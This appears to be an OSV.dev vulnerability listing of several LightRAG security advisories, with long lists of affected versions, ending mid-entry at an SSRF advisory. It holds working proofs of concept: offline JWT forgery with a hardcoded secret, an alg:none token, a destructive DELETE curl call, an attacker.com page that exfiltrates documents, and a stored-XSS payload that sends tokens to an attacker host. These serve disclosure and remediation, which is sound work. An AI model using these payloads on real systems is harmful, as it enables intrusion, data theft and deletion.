            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 27, 2026

1.4.9.11 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

